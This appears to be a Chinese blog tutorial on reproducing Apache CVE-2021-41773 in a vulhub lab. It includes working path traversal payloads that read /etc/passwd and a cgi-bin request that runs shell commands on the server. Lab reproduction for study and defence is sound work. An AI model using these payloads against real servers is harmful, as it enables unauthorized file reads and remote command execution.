如何挖掘Apache中的CVE-2021-41773漏洞
一、漏洞概述
Apache HTTP Server(简称 Apache)是开源的 Web 服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。它快速、可靠并且可通过简单的 API 扩展,将 Perl/Python 等解释器编译到服务器中。
Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。运行此版本 Apache 的 Linux 和 Windows 服务器都受到影响。此漏洞是在 2.4.49 中引入的,该补丁旨在提高 URL 验证的性能。可以通过对“.”进行编码来绕过新的验证方法。如果 Apache 网络服务器配置未设置为“要求全部拒绝”,则漏洞利用相对简单。通过对这些字符进行编码并使用有效负载修改 URL,可以实现经典的路径遍历。
——https://blog.csdn.net/qq_48985780/article/details/120973100
二、影响版本:
Apache影响漏洞版本:2.4.49、2.4.50;
apache-CVE-2021-41773漏洞利用的用户身份为httpd.conf中指定的用户,可以执行该用户对应身份权限的读写;
三、复现实验:
1、靶场环境:vulhub搭建
Cd vulhub-master/httpd/CVE-2021-41773
Docker-compose up -d
2、
利用方式一:读取系统文件
(1)是用BP拦截请求数据包
(2)路径穿越 GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
爆出Linux系统的password文件内容
利用方式二、执行任意系统命令
(使用BP拦截请求数据包) (2)路径改为 “/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh” 必须为cgi-bin (3)在请求体中 “echo; 命令1&&命令2” //执行命令的身份为启动apache进程的身份